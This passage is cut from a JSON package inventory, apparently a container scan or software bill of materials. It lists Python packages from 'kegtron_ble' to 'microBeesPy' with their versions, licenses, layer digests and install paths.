"9996fe2ddf504bab" }, "Version": "1.0.2", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/kegtron_ble-1.0.2.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "keyring", "Identifier": { "PURL": "pkg:pypi/keyring@25.7.0", "UID": "b871474a3cf87f98" }, "Version": "25.7.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/keyring-25.7.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "keyrings.alt", "Identifier": { "PURL": "pkg:pypi/keyrings.alt@5.0.2", "UID": "62798cd636c8884a" }, "Version": "5.0.2", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/keyrings.alt-5.0.2.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "kiosker-python-api", "Identifier": { "PURL": "pkg:pypi/kiosker-python-api@1.2.9", "UID": "5f81761087e41aa1" }, "Version": "1.2.9", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/kiosker_python_api-1.2.9.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "kiwiki-client", "Identifier": { "PURL": "pkg:pypi/kiwiki-client@0.1.2", "UID": "b86b5da06bdb8892" }, "Version": "0.1.2", "Licenses": [ "UNKNOWN" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/kiwiki_client-0.1.2.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "knocki", "Identifier": { "PURL": "pkg:pypi/knocki@0.4.2", "UID": "470b110d29a01544" }, "Version": "0.4.2", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/knocki-0.4.2.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "knx-telegram-store", "Identifier": { "PURL": "pkg:pypi/knx-telegram-store@0.3.2", "UID": "e19bf0fbb25ec16f" }, "Version": "0.3.2", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/knx_telegram_store-0.3.2.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "knx_frontend", "Identifier": { "PURL": "pkg:pypi/knx-frontend@2026.6.23.203726", "UID": "7e27dc4f36506ef3" }, "Version": "2026.6.23.203726", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/knx_frontend-2026.6.23.203726.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "krakenex", "Identifier": { "PURL": "pkg:pypi/krakenex@2.2.2", "UID": "dbd89fd27c76c50b" }, "Version": "2.2.2", "Licenses": [ "LGPL-3.0-only" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/krakenex-2.2.2.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "lacrosse_view", "Identifier": { "PURL": "pkg:pypi/lacrosse-view@1.1.2", "UID": "b9278340b5b44cc8" }, "Version": "1.1.2", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/lacrosse_view-1.1.2.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "lakeside", "Identifier": { "PURL": "pkg:pypi/lakeside@0.13", "UID": "a9c1ea1604256da5" }, "Version": "0.13", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/lakeside-0.13.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "langcodes", "Identifier": { "PURL": "pkg:pypi/langcodes@3.5.1", "UID": "523af21c1a179026" }, "Version": "3.5.1", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/langcodes-3.5.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "lark-parser", "Identifier": { "PURL": "pkg:pypi/lark-parser@0.7.8", "UID": "e4951f6de81fe21c" }, "Version": "0.7.8", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/lark_parser-0.7.8.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "laundrify-aio", "Identifier": { "PURL": "pkg:pypi/laundrify-aio@1.2.2", "UID": "bcc32401b4b94acc" }, "Version": "1.2.2", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/laundrify_aio-1.2.2.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "lcn_frontend", "Identifier": { "PURL": "pkg:pypi/lcn-frontend@0.2.9", "UID": "736f4eb8224d8665" }, "Version": "0.2.9", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/lcn_frontend-0.2.9.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "ld2410-ble", "Identifier": { "PURL": "pkg:pypi/ld2410-ble@0.1.1", "UID": "169e05ceb8d02f2f" }, "Version": "0.1.1", "Licenses": [ "Other/Proprietary License" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/ld2410_ble-0.1.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "leaone-ble", "Identifier": { "PURL": "pkg:pypi/leaone-ble@0.3.0", "UID": "e1838568b10d135e" }, "Version": "0.3.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/leaone_ble-0.3.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "led-ble", "Identifier": { "PURL": "pkg:pypi/led-ble@1.1.11", "UID": "89d3e8807d6ea863" }, "Version": "1.1.11", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/led_ble-1.1.11.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "lektricowifi", "Identifier": { "PURL": "pkg:pypi/lektricowifi@0.1", "UID": "7a1613eb8af33b81" }, "Version": "0.1", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/lektricowifi-0.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "letpot", "Identifier": { "PURL": "pkg:pypi/letpot@0.7.0", "UID": "476c9248e1aa83ec" }, "Version": "0.7.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/letpot-0.7.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "lg-rs232-tv", "Identifier": { "PURL": "pkg:pypi/lg-rs232-tv@1.2.0", "UID": "639924c64af23cce" }, "Version": "1.2.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/lg_rs232_tv-1.2.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "libpyfoscamcgi", "Identifier": { "PURL": "pkg:pypi/libpyfoscamcgi@0.0.9", "UID": "af7908efc0ae2fcf" }, "Version": "0.0.9", "Licenses": [ "LGPL-3.0-or-later" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/libpyfoscamcgi-0.0.9.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "libpyvivotek", "Identifier": { "PURL": "pkg:pypi/libpyvivotek@0.6.1", "UID": "40e47623e29a4ba8" }, "Version": "0.6.1", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/libpyvivotek-0.6.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "librehardwaremonitor-api", "Identifier": { "PURL": "pkg:pypi/librehardwaremonitor-api@1.11.1", "UID": "817d203056bbfc62" }, "Version": "1.11.1", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/librehardwaremonitor_api-1.11.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "librouteros", "Identifier": { "PURL": "pkg:pypi/librouteros@3.2.1", "UID": "1ccc1d6abfc587df" }, "Version": "3.2.1", "Licenses": [ "GPL-2.0-only" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/librouteros-3.2.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "libsoundtouch", "Identifier": { "PURL": "pkg:pypi/libsoundtouch@0.8.0", "UID": "a0db714ead6e9a63" }, "Version": "0.8.0", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/libsoundtouch-0.8.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "lightify", "Identifier": { "PURL": "pkg:pypi/lightify@1.0.7.3", "UID": "56333054c26c87ef" }, "Version": "1.0.7.3", "Licenses": [ "BSD-3-Clause" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/lightify-1.0.7.3.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "lightwave", "Identifier": { "PURL": "pkg:pypi/lightwave@0.24", "UID": "78139e865de374f2" }, "Version": "0.24", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/lightwave-0.24.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "limitlessled", "Identifier": { "PURL": "pkg:pypi/limitlessled@1.1.3", "UID": "4d06c49e417f718e" }, "Version": "1.1.3", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/limitlessled-1.1.3.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "linode-api", "Identifier": { "PURL": "pkg:pypi/linode-api@4.1.9b1", "UID": "3ee0a17078017f50" }, "Version": "4.1.9b1", "Licenses": [ "BSD-3-Clause" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/linode_api-4.1.9b1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "livisi", "Identifier": { "PURL": "pkg:pypi/livisi@0.0.25", "UID": "50a0e341902fae2b" }, "Version": "0.0.25", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/livisi-0.0.25.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "locationsharinglib", "Identifier": { "PURL": "pkg:pypi/locationsharinglib@5.0.1", "UID": "b5408b17e62f122b" }, "Version": "5.0.1", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/locationsharinglib-5.0.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "logfury", "Identifier": { "PURL": "pkg:pypi/logfury@1.0.1", "UID": "af83f3f7ea290f8a" }, "Version": "1.0.1", "Licenses": [ "BSD-3-Clause" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/logfury-1.0.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "loguru", "Identifier": { "PURL": "pkg:pypi/loguru@0.7.3", "UID": "946be2049417d851" }, "Version": "0.7.3", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/loguru-0.7.3.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "lojack_api", "Identifier": { "PURL": "pkg:pypi/lojack-api@0.7.2", "UID": "431f3210fb692236" }, "Version": "0.7.2", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/lojack_api-0.7.2.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "lomond", "Identifier": { "PURL": "pkg:pypi/lomond@0.3.3", "UID": "2b6fd20cd58bb1d5" }, "Version": "0.3.3", "Licenses": [ "BSD-3-Clause" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/lomond-0.3.3.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "london-tube-status", "Identifier": { "PURL": "pkg:pypi/london-tube-status@0.7", "UID": "5287ca0d7bd3c452" }, "Version": "0.7", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/london_tube_status-0.7.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "loqedAPI", "Identifier": { "PURL": "pkg:pypi/loqedapi@2.1.11", "UID": "8704903da0f88239" }, "Version": "2.1.11", "Licenses": [ "BSD-3-Clause" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/loqedapi-2.1.11.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "lru-dict", "Identifier": { "PURL": "pkg:pypi/lru-dict@1.4.1", "UID": "b6605d68db979bd1" }, "Version": "1.4.1", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "FilePath": "usr/local/lib/python3.14/site-packages/lru_dict-1.4.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "luftdaten", "Identifier": { "PURL": "pkg:pypi/luftdaten@0.7.4", "UID": "7fe4aaa916be276" }, "Version": "0.7.4", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/luftdaten-0.7.4.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "lunatone-rest-api-client", "Identifier": { "PURL": "pkg:pypi/lunatone-rest-api-client@0.9.2", "UID": "d1d2e7e50f4bb789" }, "Version": "0.9.2", "Licenses": [ "GPL-3.0-only" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/lunatone_rest_api_client-0.9.2.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "lupupy", "Identifier": { "PURL": "pkg:pypi/lupupy@0.3.2", "UID": "32b93cb3c001f5d8" }, "Version": "0.3.2", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/lupupy-0.3.2.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "lw12", "Identifier": { "PURL": "pkg:pypi/lw12@0.9.2", "UID": "75795d2358ef67dd" }, "Version": "0.9.2", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/lw12-0.9.2.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "lxml", "Identifier": { "PURL": "pkg:pypi/lxml@6.1.1", "UID": "c2d3ee801b234582" }, "Version": "6.1.1", "Licenses": [ "BSD-3-Clause" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/lxml-6.1.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "mac-vendor-lookup", "Identifier": { "PURL": "pkg:pypi/mac-vendor-lookup@0.1.15", "UID": "588369568eee587b" }, "Version": "0.1.15", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/mac_vendor_lookup-0.1.15.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "marshmallow", "Identifier": { "PURL": "pkg:pypi/marshmallow@3.26.2", "UID": "45d766a2c94a50a5" }, "Version": "3.26.2", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/marshmallow-3.26.2.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "marshmallow_dataclass", "Identifier": { "PURL": "pkg:pypi/marshmallow-dataclass@8.7.1", "UID": "db2edc1bb26480bb" }, "Version": "8.7.1", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/marshmallow_dataclass-8.7.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "mashumaro", "Identifier": { "PURL": "pkg:pypi/mashumaro@3.22", "UID": "ab3b1916da7705c2" }, "Version": "3.22", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "FilePath": "usr/local/lib/python3.14/site-packages/mashumaro-3.22.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "matrix-nio", "Identifier": { "PURL": "pkg:pypi/matrix-nio@0.25.2", "UID": "535eabdba6079750" }, "Version": "0.25.2", "Licenses": [ "text://Internet Systems Consortium license =================================== Copyright (c) `2018`, `Damir Jelić \u003cpoljar@termina.org.uk\u003e` Permission to use, copy, modify, and/or distribute this software for any purpose with or without fee is hereby granted, provided that the above copyright notice and this permission notice appear in all copies. THE SOFTWARE IS PROVIDED \"AS IS\" AND THE AUTHOR DISCLAIMS ALL WARRANTIES WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE." ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/matrix_nio-0.25.2.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "matter-ble-proxy", "Identifier": { "PURL": "pkg:pypi/matter-ble-proxy@0.7.1", "UID": "27a0ab227132fbe2" }, "Version": "0.7.1", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/matter_ble_proxy-0.7.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "matter-python-client", "Identifier": { "PURL": "pkg:pypi/matter-python-client@0.7.1", "UID": "e090138cf7bf95c1" }, "Version": "0.7.1", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/matter_python_client-0.7.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "maxcube-api", "Identifier": { "PURL": "pkg:pypi/maxcube-api@0.4.3", "UID": "e2bd7b9e3448993" }, "Version": "0.4.3", "Licenses": [ "Type license() to see the full license text" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/maxcube_api-0.4.3.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "mbddns", "Identifier": { "PURL": "pkg:pypi/mbddns@0.1.2", "UID": "e12009b17d6fcdd4" }, "Version": "0.1.2", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/mbddns-0.1.2.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "mcp", "Identifier": { "PURL": "pkg:pypi/mcp@1.26.0", "UID": "e56032405e1c9bfa" }, "Version": "1.26.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/mcp-1.26.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "mcstatus", "Identifier": { "PURL": "pkg:pypi/mcstatus@13.1.0", "UID": "eaa97bc8bc157b18" }, "Version": "13.1.0", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/mcstatus-13.1.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "meater-python", "Identifier": { "PURL": "pkg:pypi/meater-python@0.0.8", "UID": "fc6803919435e989" }, "Version": "0.0.8", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/meater_python-0.0.8.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "mechanize", "Identifier": { "PURL": "pkg:pypi/mechanize@0.4.10", "UID": "3c81260c5a6f5fef" }, "Version": "0.4.10", "Licenses": [ "BSD-3-Clause" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/mechanize-0.4.10.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "medcom-ble", "Identifier": { "PURL": "pkg:pypi/medcom-ble@0.1.1", "UID": "f8b9bf284a384749" }, "Version": "0.1.1", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/medcom_ble-0.1.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "melnor-bluetooth", "Identifier": { "PURL": "pkg:pypi/melnor-bluetooth@0.0.25", "UID": "7c51a562f94a8d12" }, "Version": "0.0.25", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/melnor_bluetooth-0.0.25.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "messagebird", "Identifier": { "PURL": "pkg:pypi/messagebird@1.2.1", "UID": "6ff1f1dd42aefa79" }, "Version": "1.2.1", "Licenses": [ "BSD-2-Clause" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/messagebird-1.2.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "metar", "Identifier": { "PURL": "pkg:pypi/metar@2.0.1", "UID": "637c07eb57f41b7b" }, "Version": "2.0.1", "Licenses": [ "BSD-3-Clause" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/metar-2.0.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "meteo_lt-pkg", "Identifier": { "PURL": "pkg:pypi/meteo-lt-pkg@0.2.4", "UID": "69f12761c8fb101e" }, "Version": "0.2.4", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/meteo_lt_pkg-0.2.4.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "meteoalertapi", "Identifier": { "PURL": "pkg:pypi/meteoalertapi@0.3.1", "UID": "cae4fa33e21d6d24" }, "Version": "0.3.1", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/meteoalertapi-0.3.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "meteocalc", "Identifier": { "PURL": "pkg:pypi/meteocalc@1.1.0", "UID": "3a6fc4aee84e0e30" }, "Version": "1.1.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/meteocalc-1.1.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "meteofrance-api", "Identifier": { "PURL": "pkg:pypi/meteofrance-api@1.5.0", "UID": "1c217ba981d315c7" }, "Version": "1.5.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/meteofrance_api-1.5.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "mficlient", "Identifier": { "PURL": "pkg:pypi/mficlient@0.5.0", "UID": "da37e5769bb6b877" }, "Version": "0.5.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/mficlient-0.5.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "micloud", "Identifier": { "PURL": "pkg:pypi/micloud@0.5", "UID": "39a83bd10ecc55f0" }, "Version": "0.5", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/micloud-0.5.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "microBeesPy", "Identifier": { "PURL": 